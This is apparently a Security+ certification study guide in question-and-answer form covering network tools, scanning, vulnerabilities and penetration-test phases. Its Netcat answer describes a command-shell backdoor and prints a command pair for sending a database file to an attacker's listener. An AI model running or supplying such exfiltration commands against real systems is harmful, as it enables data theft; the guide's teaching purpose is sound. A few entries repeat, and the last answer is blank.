4.1 Given a scenario, use the appropriate tool to assess organizational security

Question 1

What does ipconfig do?

Answer 1

ipconfig—show the configuration assigned to network interface(s) in Windows, including the hardware or media access control (MAC) address, IPv4 and IPv6 addresses, default gateway, and whether the address is static or assigned by DHCP. If the address is DHCP-assigned, the output also shows the address of the DHCP server that provided the lease.

Question 2

What does ip addr do?

Answer 2

ip addr—show the configuration assigned to network interface(s) in Linux.

Question 3

What does ping do?

Answer 3

ping—probe a host on a particular IP address or host name using Internet Control Message Protocol (ICMP). You can use ping with a simple script to perform a sweep of all the IP addresses in a subnet. The following example will scan the 10.1.0.0/24 subnet from a Windows machine:

Question 4

What does arp do?

Answer 4

arp—display the local machine’s Address Resolution Protocol (ARP) cache. The ARP cache shows the MAC address of the interface associated with each IP address the local host has communicated with recently. This can be useful if you are investigating a suspected spoofing attack. For example, a sign of a man-in-the-middle attack is where the MAC address of the default gateway IP listed in the cache is not the legitimate router’s MAC address.

Question 5

What does route do?

Answer 5

route—view and configure the host’s local routing table. Most end systems use a default route to forward all traffic for remote networks via a gateway router. If the host is not a router, additional entries in the routing table could be suspicious.

Question 6

What does tracert do?

Answer 6

tracert—uses ICMP probes to report the round trip time (RTT) for hops between the local host and a host on a remote network. tracert is the Windows version of the tool.

Question 7

What does traceroute do?

Answer 7

traceroute—performs route discovery from a Linux host. traceroute uses UDP probes rather than ICMP, by default.

Question 8

What does pathping do?

Answer 8

pathping—provides statistics for latency and packet loss along a route over a longer measuring period. pathping is a Windows tool; the equivalent on Linux is mtr.

Question 9

What is an IP scanner?

Answer 9

An IP scanner performs host discovery and identifies how the hosts are connected together in an internetwork. For auditing, there are enterprise suites, such as Microsoft’s System Center products. Such suites can be provided with credentials to perform authorized scans and obtain detailed host information via management protocols, such as the Simple Network Management Protocol (SNMP).

Question 10

What is NMAP?

Answer 10

The Nmap Security Scanner (nmap.org) is one of the most popular open-source IP scanners. Nmap can use diverse methods of host discovery, some of which can operate stealthily and serve to defeat security mechanisms such as firewalls and intrusion detection. The tool is open-source software with packages for most versions of Windows, Linux, and macOS. It can be operated with a command line or via a GUI (Zenmap).

–The default behavior of Nmap is to ping and send a TCP ACK packet to ports 80 and 443 to determine whether a host is present.
–On a local network segment, Nmap will also perform ARP and ND (Neighbor Discovery) sweeps. If a host is detected, Nmap performs a port scan against that host to determine which services it is running.

Question 11

How is service discovery used with NMAP?

Answer 11

When Nmap completes a host discovery scan, it will report on the state of each port scanned for each IP address in the scope. At this point, you can run additional service discovery scans against one or more of the active IP addresses. Some of the principal options for service discovery scans are:

–TCP SYN (-sS)—this is a fast technique also referred to as half-open scanning, as the scanning host requests a connection without acknowledging it. The target’s response to the scan’s SYN packet identifies the port state.
–UDP scans (-sU)—scan UDP ports. As these do not use ACKs, Nmap needs to wait for a response or timeout to determine the port state, so UDP scanning can take a long time. A UDP scan can be combined with a TCP scan.
–Port range (-p)—by default, Nmap scans 1000 commonly used ports, as listed in its configuration file. Use the -p argument to specify a port range.

Question 12

Discuss NMAP and service discovery switches.

Answer 12

When services are discovered, you can use Nmap with the -sV or -A switch to probe a host more intensively to discover the following information:

–Protocol—do not assume that a port is being used for its “well known” application protocol. Nmap can scan traffic to verify whether it matches the expected signature (HTTP, DNS, SMTP, and so on).
–Application name and version—the software operating the port, such as Apache web server or Internet Information Services (IIS) web server.
–OS type and version—use the -O switch to enable OS fingerprinting (or -A to use both OS fingerprinting and version discovery).
–Device type—not all network devices are PCs. Nmap can identify switches and routers or other types of networked devices, such as NAS boxes, printers, and webcams.

Question 13

What does netstat command do?

Answer 13

netstat—show the state of TCP/UDP ports on the local machine. The same command is used on both Windows and Linux, though with different options syntax. You can use netstat to check for service misconfigurations (perhaps a host is running a web or FTP server that a user installed without authorization). You may also be able to identify suspect remote connections to services on the local host or from the host to remote IP addresses. If you are attempting to identify malware, the most useful netstat output is to show which process is listening on which ports.

Question 14

What does nslookup/dig command do?

Answer 14

nslookup/dig—query name records for a given domain using a particular DNS resolver. Under Windows (nslookup) or Linux (nslookup/dig). An attacker may test a network to find out if the DNS service is misconfigured. A misconfigured DNS may allow a zone transfer, which will give the attacker the complete records of every host in the domain, revealing a huge amount about the way the network is configured.

Question 15

What does theHarvester do?

Answer 15

theHarvester is a tool for gathering open-source intelligence (OSINT) for a particular domain or company name (github.com/laramies/theHarvester). It works by scanning multiple public data sources to gather emails, names, subdomains, IPs, URLs and other relevant data.

Question 16

What does dnsenum do?

Answer 16

While you can use tools such as dig and whois to query name records and hosting details and to check that external DNS services are not leaking too much information, a tool such as dnsenum packages a number of tests into a single query (github.com/fwaeytens/dnsenum). As well as hosting information and name records, dnsenum can try to work out the IP address ranges that are in use.

Question 17

What does dnsenum do?

Answer 17

While you can use tools such as dig and whois to query name records and hosting details and to check that external DNS services are not leaking too much information, a tool such as dnsenum packages a number of tests into a single query (github.com/fwaeytens/dnsenum). As well as hosting information and name records, dnsenum can try to work out the IP address ranges that are in use.

Question 18

What does scanless do?

Answer 18

Port scanning is difficult to conceal from detection systems, unless it is performed slowly and results are gathered over an extended period. Another option is to disguise the source of probes. To that end, scanless is a tool that uses third-party sites (github.com/vesche/scanless). This sort of tool is also useful in a defensive sense, by scanning for ports and services that are open but shouldn’t be.

Question 19

What does curl do?

Answer 19

curl is a command line client for performing data transfers over many types of protocol (curl.haxx.se). This tool can be used to submit HTTP GET, POST, and PUT requests as part of web application vulnerability testing. curl supports many other data transfer protocols, including FTP, IMAP, LDAP, POP3, SMB, and SMTP.

Question 20

What does Nessus do?

Answer 20

The list of services and version information that a host is running can be cross-checked against lists of known software vulnerabilities. This type of scanning is usually performed using automated tools. Nessus, produced by Tenable Network Security (tenable.com/products/nessus/nessus-professional), is one of the best-known commercial vulnerability scanners. It is available in on-premises (Nessus Manager) and cloud (Tenable Cloud) versions, as well as a Nessus Professional version, designed for smaller networks. The product is free to use for home users but paid for on a subscription basis for enterprises. As a previously open-source program, Nessus also supplies the source code for many other scanners.

Question 21

What is tcpdump and switches?

Answer 21

tcpdump is a command line packet capture utility for Linux (linux.die.net/man/8/tcpdump). The basic syntax of the command is tcpdump -i eth0, where eth0 is the interface to listen on. The utility will then display captured packets until halted manually (Ctrl+C). Frames can be saved to a .pcap file using the -w option. Alternatively, you can open a pcap file using the -r option.

tcpdump is often used with some sort of filter expression to reduce the number of frames that are captured:

Type—filter by host, net, port, or portrange.
Direction—filter by source (src) or destination (dst) parameters (host, network, or port).
Protocol—filter by a named protocol rather than port number (for example, arp, icmp, ip, ip6, tcp, udp, and so on).
Filter expressions can be combined by using Boolean operators:

and (&&)
or (||)
not (!)
Filter syntax can be made even more detailed by using parentheses to group expressions. A complex filter expression should be enclosed by quotes. For example, the following command filters frames to those with the source IP 10.1.0.100 and destination port 53 or 80:

tcpdump -i eth0 “src host 10.1.0.100 and (dst port 53 or dst port 80)”

Question 22

What is wireshark?

Answer 22

Wireshark (wireshark.org) is an open-source graphical packet capture and analysis utility, with installer packages for most operating systems. Having chosen the interface to listen on, the output is displayed in a three-pane view. The packet list pane shows a scrolling summary of frames. The packet details pane shows expandable fields in the frame currently selected from the packet list. The packet bytes pane shows the raw data from the frame in hex and ASCII. Wireshark is capable of parsing (interpreting) the headers and payloads of hundreds of network protocols.

You can apply a capture filter using the same expression syntax as tcpdump (though the expression can be built via the GUI tools too). You can save the output to a .pcap file or load a file for analysis. Wireshark supports very powerful display filters (wiki.wireshark.org/DisplayFilters) that can be applied to a live capture or to a capture file. You can also adjust the coloring rules (wiki.wireshark.org/ColoringRules), which control the row shading and font color for each frame.

Question 23

What does hping do?

Answer 23

hping is an open-source spoofing tool that provides a penetration tester with the ability to craft network packets to exploit vulnerable firewalls and IDSs. hping can perform the following types of test:

Host/port detection and firewall testing—like Nmap, hping can be used to probe IP addresses and TCP/UDP ports for responses.
Traceroute—if ICMP is blocked on a local network, hping offers alternative ways of mapping out network routes. hping can use arbitrary packet formats, such as probing DNS ports using TCP or UDP, to perform traces.

Denial of service (DoS)—hping can be used to perform flood-based DoS attacks from randomized source IPs. This can be used in a test environment to determine how well a firewall, IDS, or load balancer responds to such attacks.

Question 24

What is tcpreplay?

Answer 24

As the name suggests, tcpreplay takes previously captured traffic that has been saved to a .pcap file and replays it through a network interface (linux.die.net/man/1/tcpreplay). Optionally, fields in the capture can be changed, such as substituting MAC or IP addresses. tcpreplay is useful for analysis purposes. If you have captured suspect traffic, you can replay it through a monitored network interface to test intrusion detection rules.

Question 25

What are the differnt types of exploitation frameworks?

Answer 25

–The best-known exploit framework is Metasploit (metasploit.com). The platform is open-source software, now maintained by Rapid7. There is a free framework (command line) community edition with installation packages for Linux and Windows. Rapid7 produces pro and express commercial editions of the framework and it can be closely integrated with the Nexpose vulnerability scanner.

–Sn1per (github.com/1N3/Sn1per) is a framework designed for penetration test reporting and evidence gathering. It can integrate with other tools such as Metasploit and Nikto to run automated suites of tests. Results can be displayed as web reports.

Question 26

What is an exploitation framework?

Answer 26

An exploitation framework uses the vulnerabilities identified by an automated scanner and launches scripts or software to attempt to deliver matching exploits. This might involve considerable disruption to the target, including service failure, and risk data security.

The framework comprises a database of exploit code, each targeting a particular CVE (Common Vulnerabilities and Exposures). The exploit code can be coupled with modular payloads. Depending on the access obtained via the exploit, the payload code may be used to open a command shell, create a user, install software, and so on. The custom exploit module can then be injected into the target system. The framework may also be able to obfuscate the code so that it can be injected past an intrusion detection system or antivirus software.

Question 27

What is NETCAT?

Answer 27

One simple but effective tool for testing connectivity is Netcat (nc), available for both Windows and Linux. Netcat is a computer networking utility for reading and writing raw data over a network connection, and can be used for port scanning and fingerprinting. For example, the following command attempts to connect to the HTTP port on a server and return any banner by sending the “head” HTTP keyword:

echo “head” | nc 10.1.0.1 -v 80

–Netcat can also establish connections with remote machines. To configure Netcat as a backdoor, you first set up a listener on the victim system (IP: 10.1.0.1) set to pipe traffic from a program, such as the command interpreter, to its handler.

–Used the other way around, Netcat can be used to receive files. For example, on the target system the attacker runs the following:

type accounts.sql | nc 10.1.0.192 6666

On the handler (IP 10.1.0.192), the attacker receives the file using the following command:

nc -l -p 6666 > accounts.sql

Question 28

How does weak patch management affect, firmware, operating systems, and applications?

Answer 28

Operating system (OS)—an application exploit will run with the permissions of the logged on user, which will hopefully be limited. A vulnerability in an OS kernel file or shared library is more likely to allow privilege escalation, where the malware code runs with higher access rights (system or root). Dirty COW is one example of a Linux kernel vulnerability (access.redhat.com/blogs/766093/posts/2757141).

Firmware—vulnerabilities can exist in the BIOS/UEFI firmware that controls the boot process for PCs. There can also be bugs in device firmware, such as network cards and disk controllers. Finally, network appliances and Internet of Things (IoT) devices run OS code as a type of firmware. Like kernel vulnerabilities, firmware exploits can be difficult to identify, because the exploit code can run with the highest level of privilege. The Intel AMT vulnerability illustrates the impacts of a firmware vulnerability (blackhat.com/docs/us-17/thursday/us-17-Evdokimov-Intel-AMT-Stealth-Breakthrough-wp.pdf).

Application- An application vulnerability is a design flaw that can cause the security system to be circumvented or that will cause the application to crash. Typically, vulnerabilities can only be exploited in quite specific circumstances but because of the complexity of modern software and the speed with which new versions must be released to market, almost no software is free from vulnerabilities. As two contrasting examples, consider vulnerabilities affecting Adobe’s PDF document reader versus a vulnerability in the server software underpinning transport security.

Most vulnerabilities are discovered by software and security researchers, who notify the vendor to give them time to patch the vulnerability before releasing details to the wider public. Improper or weak patch management is an additional layer of vulnerability where these security patches are not applied to systems, leaving them vulnerable to exploits.

Question 29

What is a zero-day vulnerability?

Answer 29

A vulnerability that is exploited before the developer knows about it or can release a patch is called a zero-day. These can be extremely destructive, as it can take the vendor some time to develop a patch, leaving systems vulnerable in the interim.

–State security and law enforcement agencies are known to stockpile zero-days to facilitate the investigation of crimes.

–A legacy platform is one that is no longer supported with security patches by its developer or vendor. This could be a PC/laptop/smartphone, networking appliance, peripheral device, Internet of Things device, operating system, database/programming environment, or software application. By definition, legacy platforms are unpatchable. Such systems are highly likely to be vulnerable to exploits and must be protected by security controls other than patching, such as isolating them to networks that an attacker cannot physically connect to.

Question 30

How do weak configurations increase the likelihood of vulnerabilities?

Answer 30

Default Settings:
Relying on the manufacturer default settings when deploying an appliance or software applications is one example of weak configuration. It is not sufficient to rely on the vendor to ship products in a default-secure configuration, though many now do. Default settings may leave unsecure interfaces enabled that allow an attacker to compromise the device. Network appliances with weak settings can allow attackers to move through the network unhindered and snoop on traffic.

Unsecured Root Accounts:
The root account, referred to as the default Administrator account in Windows or generically as the superuser, has no restrictions set over system access. A superuser account is used to install the OS. An unsecured root account is one that an adversary is able to gain control of, either by guessing a weak password or by using some local boot attack to set or change the password. Software bugs can also allow root access, such as one affecting MacOS (arstechnica.com/information-technology/2017/11/macos-bug-lets-you-log-in-as-admin-with-no-password-required). These vulnerabilities are extremely serious as they give the threat actor complete control of the system.

Open Permissions:
Open permissions refers to provisioning data files or applications without differentiating access rights for user groups. Permissions systems can be complex and it is easy to make mistakes, such as permitting unauthenticated guests to view confidential data files, or allowing write access when only read access is appropriate. This issue is particularly prevalent on cloud storage, where administrators used to Windows and Linux directory access control lists may be unfamiliar with the cloud equivalents (directdefense.com/how-to-prevent-exploitation-of-amazon-s3-buckets-with-weak-permissions).

Question 31

What are weak host configurations?

Answer 31

Default Settings:

Relying on the manufacturer default settings when deploying an appliance or software applications is one example of weak configuration. It is not sufficient to rely on the vendor to ship products in a default-secure configuration, though many now do. Default settings may leave unsecure interfaces enabled that allow an attacker to compromise the device. Network appliances with weak settings can allow attackers to move through the network unhindered and snoop on traffic.

Unsecured Root Accounts:

The root account, referred to as the default Administrator account in Windows or generically as the superuser, has no restrictions set over system access. A superuser account is used to install the OS. An unsecured root account is one that an adversary is able to gain control of, either by guessing a weak password or by using some local boot attack to set or change the password. Software bugs can also allow root access, such as one affecting MacOS (arstechnica.com/information-technology/2017/11/macos-bug-lets-you-log-in-as-admin-with-no-password-required). These vulnerabilities are extremely serious as they give the threat actor complete control of the system.

Effective user management and authorization policies should be enforced so that the superuser account is highly restricted and administration tasks are performed by least privilege management accounts or roles instead. The default root or Administrator account is usually disabled for login. Even if this type of account is enabled for local (interactive) login, it should not be accessible via remote login mechanisms.

Open Permissions:

Open permissions refers to provisioning data files or applications without differentiating access rights for user groups. Permissions systems can be complex and it is easy to make mistakes, such as permitting unauthenticated guests to view confidential data files, or allowing write access when only read access is appropriate. This issue is particularly prevalent on cloud storage, where administrators used to Windows and Linux directory access control lists may be unfamiliar with the cloud equivalents (directdefense.com/how-to-prevent-exploitation-of-amazon-s3-buckets-with-weak-permissions).

Question 32

What are weak network configrations?

Answer 32

Open Ports and Services:

Network applications and services allow client connections via Transmission Control Protocol (TCP) or User Datagram Protocol (UDP) port numbers. The clients and servers are identified by Internet Protocol (IP) addresses. Servers must operate with at least some open ports, but security best practice dictates that these should be restricted to only necessary services. Running unnecessary open ports and services increases the attack surface. Some generic steps to harden services to meet a given role include:

If the service is security-critical (such as a remote administration interface), restrict endpoints that are allowed to access the service by IP address or address range. Alternatively, prevent suspect endpoints from connecting by adding them to the block list, but otherwise allow access.

–Disable services that are installed by default but that are not needed. Ideally, disable the service on the server itself, but in some circumstances it may be necessary to block the port using a firewall instead.

–For services that should only be available on the private network, block access to ports at border firewalls or segment the network so that the servers cannot be accessed from external networks.

Unsecure Protocols:
An unsecure protocol is one that transfers data as cleartext; that is, the protocol does not use encryption for data protection. Lack of encryption also means that there is no secure way to authenticate the endpoints. This allows an attacker to intercept and modify communications, acting as man-in-the-middle (MITM).

Weak Encryption:
Encryption algorithms protect data when it is stored on disk or transferred over a network. Encrypted data should only be accessible to someone with the correct decryption key. Weak encryption vulnerabilities allow unauthorized access to data. Such vulnerabilities arise in the following circumstances:

–The key is generated from a simple password, making it vulnerable to guessing attempts by brute-force enumeration (if the password is too short) or dictionary enumeration (if the password is not complex).
–The algorithm or cipher used for encryption has known weaknesses that allow brute-force enumeration.
–The key is not distributed securely and can easily fall into the hands of people who are not authorized to decrypt the data.

Errors:
Weakly configured applications may display unformatted error messages under certain conditions. These error messages can be revealing to threat actors probing for vulnerabilities and coding mistakes. Secure coding practices should ensure that if an application fails, it does so “gracefully” without revealing information that could assist the development of an exploit.

Question 33

What is a data breach and a data exfiltration?

Answer 33

Data breach: A data breach event is where confidential data is read, transferred, modified, or deleted without authorization. A privacy breach is where personal data is not collected, stored, or processed in full compliance with the laws or regulations governing personal information. A breach can also be described as a data leak. A data breach can be intentional/malicious or unintentional/accidental.

Data exfiltration: Data exfiltration is the methods and tools by which an attacker transfers data without authorization from the victim’s systems to an external network or media. Unlike a data breach, a data exfiltration event is always intentional and malicious. A data breach is a consequence of a data exfiltration event.

Question 34

What are the impacts of data loss and availability?

Answer 34

Compared to data breaches, data loss is where information becomes unavailable, either permanently or temporarily. Availability is sometimes overlooked as a security attribute compared to confidentiality and integrity, but it can have severe impacts on business workflows. If processing systems are brought down by accidental or malicious disaster events, a company may not be able to perform crucial workflows like order processing and fulfillment.

Question 35

What are impacts of financial and reputation from cybersecurity incidents?

Answer 35

All these impacts can have direct financial impacts due to damages, fines, and loss of business. Data/privacy breach and availability loss events will also cause a company’s reputation to drop with direct customers. Major events might cause widespread adverse publicity on social media and mainstream media. In anticipation of these impacts, incident handling teams should include public relations (PR) and marketing expertise to minimize reputational damage.

Question 36

Describe third-party risks to data breaches?

Answer 36

Vendor management: is a process for selecting supplier companies and evaluating the risks inherent in relying on a third-party product or service. When it comes to data and cybersecurity, you must understand that risks cannot be wholly transferred to the vendor. If a data storage vendor suffers a data breach, you may be able to claim costs from them, but your company will still be held liable in terms of legal penalties and damage to reputation. If your webstore suffers frequent outages because of failures at a hosting provider, it is your company’s reputation that will suffer and your company that will lose orders because customers look elsewhere.

Within vendor management, system integration refers to the process of using components/services from multiple vendors to implement a business workflow. For example, a workflow allowing customers to make online purchases might involve the storefront product, a web application firewall, cloud data processing and analytics, plus integration with on-premises accounting and customer relationship management (CRM) and support ticketing systems.

When a vendor has become deeply embedded within a workflow, lack of vendor support can have serious impacts, as retooling the workflow to use a different vendor can be a long and complex process. Vendors may become unsupportive for any number of reasons. For example, their company might be growing too quickly and resources are spread too thinly, they may drop support for products that are not profitable, they may have overstated capabilities in terms of security, and so on.

Outsourced Code Development:
The problem of effective oversight is particularly pertinent to outsourced code development. Many companies do not have in-house programming expertise, but without such expertise it is hard to ensure that contractors are delivering secure code. A solution is to use one vendor for development and a different vendor for vulnerability and penetration testing.

Data Storage
There are two main scenarios for risks to data when using third parties. First, you may need to grant vendor access to your data, and second, you may use a vendor to host data or data backups and archives. The following general precautions should be taken:

–Ensure the same protections for data as though it were stored on-premises, including authorization and access management and encryption.
–Monitor and audit third-party access to data storage to ensure it is being used only in compliance with data sharing agreements and nondisclosure agreements.
–Evaluate compliance impacts from storing personal data on a third-party system, such as a cloud provider or backup/archive management service.

Question 37

Describe the difference between cloud-based and on-premises risks to data?

Answer 37

On-premises risks refer to software vulnerabilities, weak configurations, and third-party issues arising from hosts, servers, routers, switches, access points, and firewalls located on a private network installed to private offices or campus buildings. Many companies use cloud services to fully or partly support business workflows. The third-party vendor management, code, and data storage risks discussed previously apply directly to cloud as well as to on-premises. Software and weak configuration risks can also apply, however. They are not the sole responsibility of the cloud service provider (CSP). Clouds operate a shared responsibility model. This means that the cloud service provider is responsible for the security of the cloud, while the cloud consumer is responsible for security in the cloud. The types of software and configuration vulnerabilities that you must assess and monitor vary according to the nature of the service.

Question 38

What is the purpose of a vulnerability scanner?

Answer 38

A network vulnerability scanner, such as Tenable Nessus (tenable.com/products/nessus) or OpenVAS (openvas.org), is designed to test network hosts, including client PCs, mobile devices, servers, routers, and switches. It examines an organization’s on-premises systems, applications, and devices and compares the scan results to configuration templates plus lists of known vulnerabilities. Typical results from a vulnerability assessment will identify missing patches, deviations from baseline configuration templates, and other related vulnerabilities.

Question 39

What is a CVE?

Answer 39

Common Vulnerabilities and Exposures (CVE) is a dictionary of vulnerabilities in published operating systems and applications software (cve.mitre.org). There are several elements that make up a vulnerability’s entry in the CVE:

–An identifier in the format: CVE-YYYY-####, where YYYY is the year the vulnerability was discovered, and #### is at least four digits that indicate the order in which the vulnerability was discovered.
–A brief description of the vulnerability.
–A reference list of URLs that supply more information on the vulnerability.
–The date the vulnerability entry was created.

Question 40

What is CVSS?

Answer 40

Common Vulnerability Scoring System (CVSS)- CVSS is maintained by the Forum of Incident Response and Security Teams (first.org/cvss). CVSS metrics generate a score from 0 to 10 based on characteristics of the vulnerability, such as whether it can be triggered remotely or needs local access, whether user intervention is required, and so on.

Question 41

What is intrusive scanning?

Answer 41

Active scanning means probing the device’s configuration using some sort of network connection with the target. Active scanning consumes more network bandwidth and runs the risk of crashing the target of the scan or causing some other sort of outage. Agent-based scanning is also an active technique.

The most intrusive type of vulnerability scanner does not stop at detecting a vulnerability. Exploitation frameworks contain default scripts to try to use a vulnerability to run code or otherwise gain access to the system. This type of highly intrusive testing is more typical of penetration testing than automated vulnerability scanning.

Question 42

What is non-intrusive scanning?

Answer 42

Non-intrusive (or passive) scanning means analyzing indirect evidence, such as the types of traffic generated by a device. A passive scanner, the Zeek Network Security Monitor (zeek.org) being one example, analyzes a network capture and tries to identify policy deviations or CVE matches. This type of scanning has the least impact on the network and on hosts, but is less likely to identify vulnerabilities comprehensively. Passive scanning might be used by a threat actor to scan a network stealthily. You might use passive scanning as a technique where active scanning poses a serious risk to system stability, such as scanning print devices, VoIP handsets, or embedded systems networks.

Question 43

What is a false positive?

Answer 43

A false positive is something that is identified by a scanner or other assessment tool as being a vulnerability, when in fact it is not.

Question 44

What is a false negative?

Answer 44

False negatives are potential vulnerabilities that are not identified in a scan.

Question 45

How can reviewing event logs aide in vulnerability scans?

Answer 45

Reviewing related system and network logs can enhance the vulnerability report validation process. As an example, assume that your vulnerability scanner identified a running process on a Windows machine. According to the scanner, the application that creates this process is known to be unstable, causing the operating system to lock up and crash other processes and services. When you search the computer’s event logs, you notice several entries over the past couple of weeks indicate the process has failed. Additional entries show that a few other processes fail right after. In this instance, you’ve used a relevant data source to help confirm that the vulnerability alert is, in fact, valid.

Question 46

How can configuration review deter software exploits?

Answer 46

As well as matching known software exploits to the versions of software found running on a network, a vulnerability scan assesses the configuration of security controls and application settings and permissions compared to established benchmarks. It might try to identify whether there is a lack of controls that might be considered necessary or whether there is any misconfiguration of the system that would make the controls less effective or ineffective, such as antivirus software not being updated, or management passwords left configured to the default. Generally speaking, this sort of testing requires a credentialed scan. It also requires specific information about best practices in configuring the particular application or security control. These are provided by listing the controls and appropriate configuration settings in a template.

Security content automation protocol (SCAP) allows compatible scanners to determine whether a computer meets a configuration baseline. SCAP uses several components to accomplish this function, but some of the most important are:

Open Vulnerability and Assessment Language (OVAL)—an XML schema for describing system security state and querying vulnerability reports and information.
Extensible Configuration Checklist Description Format (XCCDF)—an XML schema for developing and auditing best-practice configuration checklists and rules. Previously, best-practice guides might have been written in prose for system administrators to apply manually. XCCDF provides a machine-readable format that can be applied and validated using compatible software.

Question 47

What is threat hunting?

Answer 47

Threat hunting is an assessment technique that utilizes insights gained from threat intelligence to proactively discover whether there is evidence of TTPs already present within the network or system. This contrasts with a reactive process that is only triggered when alert conditions are reported through an incident management system.

Question 48

What are the main threat hunting techniques?

Answer 48

A threat hunting project is likely to be led by senior security analysts, but some general points to observe include:

–Advisories and bulletins—threat hunting is a labor-intensive activity and so needs to be performed with clear goals and resources. Threat hunting usually proceeds according to some hypothesis of possible threat. Security bulletins and advisories from vendors and security researchers about new TTPs and/or vulnerabilities may be the trigger for establishing a threat hunt. For example, if threat intelligence reveals that Windows desktops in many companies are being infected with a new type of malware that is not being blocked by any current malware definitions, you might initiate the following threat-hunting plan to detect whether the malware is also infecting your systems.
–Intelligence fusion and threat data—threat hunting can be performed by manual analysis of network and log data, but this is a very lengthy process. An organization with a security information and event management (SIEM) and threat analytics platform can apply intelligence fusion techniques. The analytics platform is kept up to date with a TTP and IoC threat data feed. Analysts can develop queries and filters to correlate threat data against on-premises data from network traffic and logs. This process may also be partially or wholly automated using AI-assisted analysis and correlation.
–Maneuver—when investigating a suspected live threat, you must remember the adversarial nature of hacking. A capable threat actor is likely to have anticipated the likelihood of threat hunting, and attempted to deploy countermeasures to frustrate detection. For example, the attacker may trigger a DDoS attack to divert the security team’s attention, and then attempt to accelerate plans to achieve actions on objectives. Maneuver is a military doctrine term relating to obtaining positional advantage (ccdcoe.org/uploads/2012/01/3_3_Applegate_ThePrincipleOfManeuverInCyberOperations.pdf). As an example of defensive maneuver, threat hunting might use passive discovery techniques so that threat actors are given no hint that an intrusion has been discovered before the security team has a containment, eradication, and recovery plan.

Question 49

What is a black box environment?

Answer 49

Black box (or unknown environment)—the consultant is given no privileged information about the network and its security systems. This type of test would require the tester to perform a reconnaissance phase. Black box tests are useful for simulating the behavior of an external threat.

Question 50

What is a white box environment?

Answer 50

White box (or known environment)—the consultant is given complete access to information about the network. This type of test is sometimes conducted as a follow-up to a black box test to fully evaluate flaws discovered during the black box test. The tester skips the reconnaissance phase in this type of test. White box tests are useful for simulating the behavior of a privileged insider threat.

Question 51

What is a gray box environment?

Answer 51

Gray box (or partially known environment)—the consultant is given some information; typically, this would resemble the knowledge of junior or non-IT staff to model particular types of insider threats. This type of test requires partial reconnaissance on the part of the tester. Gray box tests are useful for simulating the behavior of an unprivileged insider threat.

Question 52

What is a bug bounty?

Answer 52

A bug bounty is a program operated by a software vendor or website operator where rewards are given for reporting vulnerabilities. Where a pen test is performed on a contractual basis, costed by the consultant, a bug bounty program is a way of crowd sourcing detection of vulnerabilities. Some bug bounties are operated as internal programs, with rewards for employees only. Most are open to public submissions (tripwire.com/state-of-security/security-data-protection/cyber-security/essential-bug-bounty-programs).

Question 53

What is a red team?

Answer 53

Red team—performs the offensive role to try to infiltrate the target.

Question 54

What is a blue team?

Answer 54

Blue team—performs the defensive role by operating monitoring and alerting controls to detect and prevent the infiltration.

Question 55

What is a white team?

Answer 55

There will also often be a white team, which sets the rules of engagement and monitors the exercise, providing arbitration and guidance, if necessary.

Question 56

What is a purple team?

Answer 56

In a purple team exercise, the red and blue teams meet for regular debriefs while the exercise is ongoing. The red team might reveal where they have been successful and collaborate with the blue team on working out a detection mechanism. This process might be assisted by purple team members acting as facilitators. The drawback of a purple team exercise is that without blind or double-blind conditions, there is no simulation of a hostile adversary and the stresses of dealing with that.

Question 57

What is OSINT?

Answer 57

Open Source Intelligence (OSINT)—using web search tools, social media, and sites that scan for vulnerabilities in Internet-connected devices and services (securitytrails.com/blog/osint-tools) to obtain information about the target. OSINT aggregation tools, such as theHarvester (github.com/laramies/theHarvester), collect and organize this data from multiple sources. OSINT requires almost no privileged access as it relies on finding information that the company makes publicly available, whether intentionally or not. This is a passive technique.

Question 58

What is footprinting?

Answer 58

Footprinting—using software tools, such as Nmap (nmap.org), to obtain information about a host or network topology. Scans may be launched against web hosts or against wired or wireless network segments, if the attacker can gain physical access to them. While passive footprinting is possible (by limiting it to packet sniffing), most scan techniques require active network connections with the target that can be picked up by detection software.

Question 59

How do drones and UAVs contribute to passive/active recon?

Answer 59

Drones/unmanned aerial vehicle (UAV)—allow the tester to reconnoiter campus premises, and even to perform war driving from the air (war flying). A tool such as the Wi-Fi Pineapple can easily be incorporated on a drone (hackaday.com/2018/05/27/watch-dogs-inspired-hacking-drone-takes-flight). Drones also provide a vector for one enduringly popular social engineering technique; dropping infected USB media around premises, with the expectation that at least some of them will be picked up and used (blackhat.com/docs/us-16/materials/us-16-Bursztein-Does-Dropping-USB-Drives-In-Parking-Lots-And-Other-Places-Really-Work.pdf).

Question 60

What is war driving?

Answer 60

War driving—mapping the location and type (frequency channel and security method) of wireless networks operated by the target. Some of these networks may be accessible from outside the building. Simply sniffing the presence of wireless networks is a passive activity, though there is the risk of being observed by security guards or cameras. An attacker might be able to position rogue access points, such as the Hak5 Pineapple (shop.hak5.org/products/wifi-pineapple), or perform other wireless attacks using intelligence gathered from war driving.

Question 61

What is persistence in terms of the pen test attack cycle?

Answer 61

Persistence—the tester’s ability to reconnect to the compromised host and use it as a remote access tool (RAT) or backdoor. To do this, the tester must establish a command and control (C2 or C&C) network to use to control the compromised host, upload additional attack tools, and download exfiltrated data. The connection to the compromised host will typically require a malware executable to run after shut down/log off events and a connection to a network port and the attacker’s IP address to be available.

Question 62

What is privilege escalation?

Answer 62

Privilege escalation—persistence is followed by further reconnaissance, where the pen tester attempts to map out the internal network and discover the services running on it and accounts configured to access it. Moving within the network or accessing data assets are likely to require higher privilege levels. For example, the original malware may have run with local administrator privileges on a client workstation or as the Apache user on a web server. Another exploit might allow malware to execute with system/root privileges, or to use network administrator privileges on other hosts, such as application servers.

Question 63

What is lateral movement?

Answer 63

Lateral movement—gaining control over other hosts. This is done partly to discover more opportunities to widen access (harvesting credentials, detecting software vulnerabilities, and gathering other such “loot”), partly to identify where valuable data assets might be located, and partly to evade detection. Lateral movement usually involves executing the attack tools over remote process shares or using scripting tools, such as PowerShell.

Question 64

What is pivoting?

Answer 64

Pivoting—hosts that hold the most valuable data are not normally able to access external networks directly. If the pen tester achieves a foothold on a perimeter server, a pivot allows them to bypass a network boundary and compromise servers on an inside network. A pivot is normally accomplished using remote access and tunneling protocols, such as Secure Shell (SSH), virtual private networking (VPN), or remote desktop.

Question 65

What is cleanup?

Answer 65

Cleanup—for a threat actor, this means removing evidence of the attack, or at least evidence that could implicate the threat actor. For a pen tester, this phase means removing any backdoors or tools and ensuring that the system is not less secure than the pre-engagement state.

Question 66

What is credentialed scanning?

Answer 66

